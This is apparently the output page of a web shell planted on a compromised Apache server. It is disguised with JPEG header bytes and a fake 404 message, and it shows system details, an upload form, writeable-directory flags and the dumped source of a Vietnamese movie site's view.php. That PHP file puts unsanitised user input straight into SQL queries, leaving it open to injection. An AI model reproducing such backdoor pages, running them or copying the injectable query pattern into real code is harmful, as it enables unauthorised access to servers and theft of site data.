ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/phim/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/phim/view.php
<?php
$slug = $CORE->input['slug']??'';
$epi = $CORE->input['epi']??0;
$epi = intval($epi);
$r_detail = $DB->fetch_row($DB->query("SELECT * FROM tb_phim WHERE slug='$slug'"));
if(!$r_detail){
    header('Location: '.$INFO['home_url']);
}
$smarty->assign('mark_epi',$epi);
$phim_id = $r_detail['phim_id'];
$view = intval($r_detail['view'])+1;
$DB->query("UPDATE tb_phim SET view='$view' WHERE phim_id='$phim_id'");

$txt_type = 'phim-le';
$txt_type_name = 'Phim lẻ';
if($r_detail['type']=='series' or $r_detail['type']=='tvshows'){
    $txt_type = 'phim-bo';
    $txt_type_name = 'Phim bá»™';
}
if($r_detail['type']=='hoathinh'){
    $txt_type = 'phim-hoat-hinh';
    $txt_type_name = 'Phim hoạt hình';
}
if($r_detail['chieurap']==1){
    $txt_type = 'phim-chieu-rap';
    $txt_type_name = 'Phim chiếu rạp';
}
$smarty->assign('txt_type',$txt_type);
$smarty->assign('txt_type_name',$txt_type_name);

$r_epi = $DB->fetch_row($DB->query("SELECT server_name,server_data FROM tb_epi WHERE phim_id='$phim_id' ORDER BY epi_id DESC LIMIT 1"));
$arr_data = json_decode($r_epi['server_data'],true);
$r_detail['link_phim'] = '';
if(isset($arr_data[$epi]['link_m3u8'])) {
    $r_detail['link_phim'] = $arr_data[$epi]['link_m3u8'];
}
$a_source['file'] = trim($r_detail['link_phim']);
$a_source['label'] = '720p';
$a_source['type'] = 'application/x-mpegURL';
$a_source['subtitle'] = '';
$list_source[] = $a_source;
$show_video = $func->get_video_js_new($list_source,'');
$r_detail['player'] = $func->encode_html($show_video);
$count_data = count($arr_data);
$smarty->assign('count_epi',$count_data);
$txt_tap = $txt_link_pre=$txt_link_next='';
if($count_data>1){
    if($epi>0){
        $f_name_epi_next = $func->format_string($arr_data[($epi-1)]['filename']);
        $txt_link_pre = '<div class="item"><a href="/'.$r_detail['slug'].'/'.($epi-1).'-'.$f_name_epi_next.'/" title="'.$r_detail['slug'].' Tập ' . $arr_data[($epi-1)]['slug'] . '"><i class="fas fa-arrow-alt-circle-left"></i> <span>PREV</span></a></div>';
    }else{
        $txt_link_pre = '<div class="item"><a href="javascript:void(0);" onclick="alert(\'Bạn đang xem tập nhỠnhất!\');" class="nonex"><i class="fas fa-arrow-alt-circle-left"></i> <span>PREV</span></a></div>';
    }
    if($epi<($count_data-1)){
        $f_name_epi_pre = $func->format_string($arr_data[($epi+1)]['filename']);
        $txt_link_next = '<div class="item"><a href="/'.$r_detail['slug'].'/'.($epi+1).'-'.$f_name_epi_pre.'/" title="'.$r_detail['slug'].' Tập ' .  $arr_data[($epi+1)]['slug'] . '"><span>NEXT</span> <i class="fas fa-arrow-alt-circle-right"></i></a></div>';
    }else{
        $txt_link_next = '<div class="item"><a href="javascript:void(0);" onclick="alert(\'Bạn đang xem tập lớn nhất!\');" class="nonex"><i class="fas fa-arrow-alt-circle-right"></i> <span>NEXT</span></a></div>';
    }
}
$smarty->assign('txt_link_pre',$txt_link_pre);$smarty->assign('txt_link_next',$txt_link_next);
foreach($arr_data as $key=>$val){
    $txt_active='';
    if($key==$epi){
        $txt_active=' active';
    }
    $txt_end = '';
    if($r_detail['status']=='completed' and $key==($count_data-1) and $count_data>1){
        $txt_end =' End';
    }
    $f_name_epi = $func->format_string($val['filename']);
    $txt_tap .= '<li class="mark-'.$key.'"><div class="episodiotitle"><a href="/' . $r_detail['slug'] . '/' . $key . '-' . $f_name_epi . '/">' . $val['name'] . $txt_end.'</a></div></li>';
    $epi_slug_name = $val['slug'];
}
$f_name_epi = '';
if(isset($arr_data[$epi]['filename'])) {
    $f_name_epi = $func->format_string($arr_data[$epi]['filename']);
}
if(isset($arr_data[$epi])) {
    $smarty->assign('epi_detail', $arr_data[$epi]);
}
$nhieu_tap = 0;
if($r_detail['type']=='series' or $r_detail['type']=='tvshows'){
    $nhieu_tap = 1;
}
if($r_detail['type']=='hoathinh' and $count_data>1){
    $nhieu_tap = 1;
}
$smarty->assign('nhieu_tap',$nhieu_tap);
if($nhieu_tap==0){
    $epi_comment = -1;
}else{
    $epi_comment = $epi;
}
$smarty->assign('epi_comment',$epi_comment);

$arr_history  = array('phim_id'=>$phim_id,'phim_name'=>$r_detail['name'],'phim_slug'=>$r_detail['slug'],'phim_thumb'=>$r_detail['thumb_url'],'epi'=>$epi,'epi_slug'=>$f_name_epi,'ip'=>$ip,'user_id'=>$ob_user->user_id,'history_time'=>date('Y-m-d H:i:s'));
if(!isset($ob_user->user_id) or intval($ob_user->user_id)==0){
    $row_check_his = $DB->fetch_row($DB->query("SELECT history_id FROM tb_history WHERE phim_id='$phim_id' AND ip='".$ip."' LIMIT 1 "));
}else{
    $row_check_his = $DB->fetch_row($DB->query("SELECT history_id FROM tb_history WHERE phim_id='$phim_id' AND (user_id='".intval($ob_user->user_id)."' or ip='".$ip."') LIMIT 1 "));
}
if(!$row_check_his){
    $DB->do_insert('tb_history',$arr_history);
}else{
    $DB->do_update('tb_history',$arr_history," WHERE history_id='".$row_check_his['history_id']."'  ");
}
$row_follow=array();
if($ob_user->user_id>0) {
    $row_follow = $DB->fetch_row($DB->query("SELECT follow_id FROM tb_follow WHERE phim_id='" . $phim_id . "' AND user_id='" . intval($ob_user->user_id) . "' LIMIT 1"));
}
//update guest
if($ob_user->user_id>0) {
    $r_guest = $DB->fetch_row($DB->query("SELECT guest_hitchap,guest_point FROM tb_guest WHERE user_id='".$ob_user->user_id."' "));
    $total_hit = $total_point = 1;
    if($r_guest) {
        $total_hit = $r_guest['guest_hitchap'] + 1;
        $total_point = $r_guest['guest_point'] + 1;
    }
    $r_level = $DB->fetch_row($DB->query("SELECT * FROM tb_guestpoint WHERE guestpoint_value<='".intval($total_point)."' ORDER BY guestpoint_value DESC LIMIT 1 "));
    $r_level_next = $DB->fetch_row($DB->query("SELECT * FROM tb_guestpoint WHERE guestpoint_value>'".intval($total_point)."' ORDER BY guestpoint_value LIMIT 1 "));
    if(!$r_level_next){//max level
        $guest_next_level = $r_level['guestpoint_value'];
        $guest_next_level_name = $r_level['guestpoint_level'];
    }else{
        $guest_next_level = $r_level_next['guestpoint_value'];
        $guest_next_level_name = $r_level_next['guestpoint_level'];
    }
    $guestpoint_level='';$guestpoint_value=0;
    if($r_level){
        $guestpoint_value = $r_level['guestpoint_value'];
        $guestpoint_level = $r_level['guestpoint_level'];
    }
    $DB->query("UPDATE tb_guest SET guest_hitchap='".$total_hit."',guest_point='".intval($total_point)."',guest_level='".intval($guestpoint_value)."',guest_next_level='".intval($guest_next_level)."',guest_level_name='".$guestpoint_level."',guest_next_level_name='".$guest_next_level_name."' WHERE user_id='".$ob_user->user_id."' ");
}
//related bottom
$arr_genres = explode('@',$r_detail['category']);
$related_phim = related_phim($arr_genres,$phim_id,15);
$smarty->assign('related_phim',$related_phim);
//related right
$related_phim_right = related_phim_right($arr_genres,$phim_id,$r_detail['type'],6);
$smarty->assign('related_phim_right',$related_phim_right);

$follow_phim = follow_phim(5);
$smarty->assign('follow_phim',$follow_phim);
$history_phim = history_phim(5);
$smarty->assign('history_phim',$history_phim);
$top_member = top_member(5);
$smarty->assign('top_member',$top_member);
$lasted_comment = lasted_comment(5);
$smarty->assign('lasted_comment',$lasted_comment);
$namphathanh = namphathanh(6);
$smarty->assign('namphathanh',$namphathanh);
$phimquantam = phimquantam(20);
$smarty->assign('phimquantam',$phimquantam);

$smarty->assign('follow', $row_follow);
$smarty->assign('epi_slug_name',$epi_slug_name);
$smarty->assign('txt_tap',$txt_tap);
$smarty->assign('detail',$r_detail);
$title_page = $r_detail['name'].' - '.$r_detail['origin_name'].' - Tập '.$arr_data[$epi]['name'];
$smarty->assign('title_page',str_replace('"',"'",$title_page));
$smarty->assign('des_page',str_replace('"',"'",strip_tags($r_detail['content'])));
$smarty->assign('image_page',$r_detail['thumb_url']);
?>

ZeroDay Forums Mini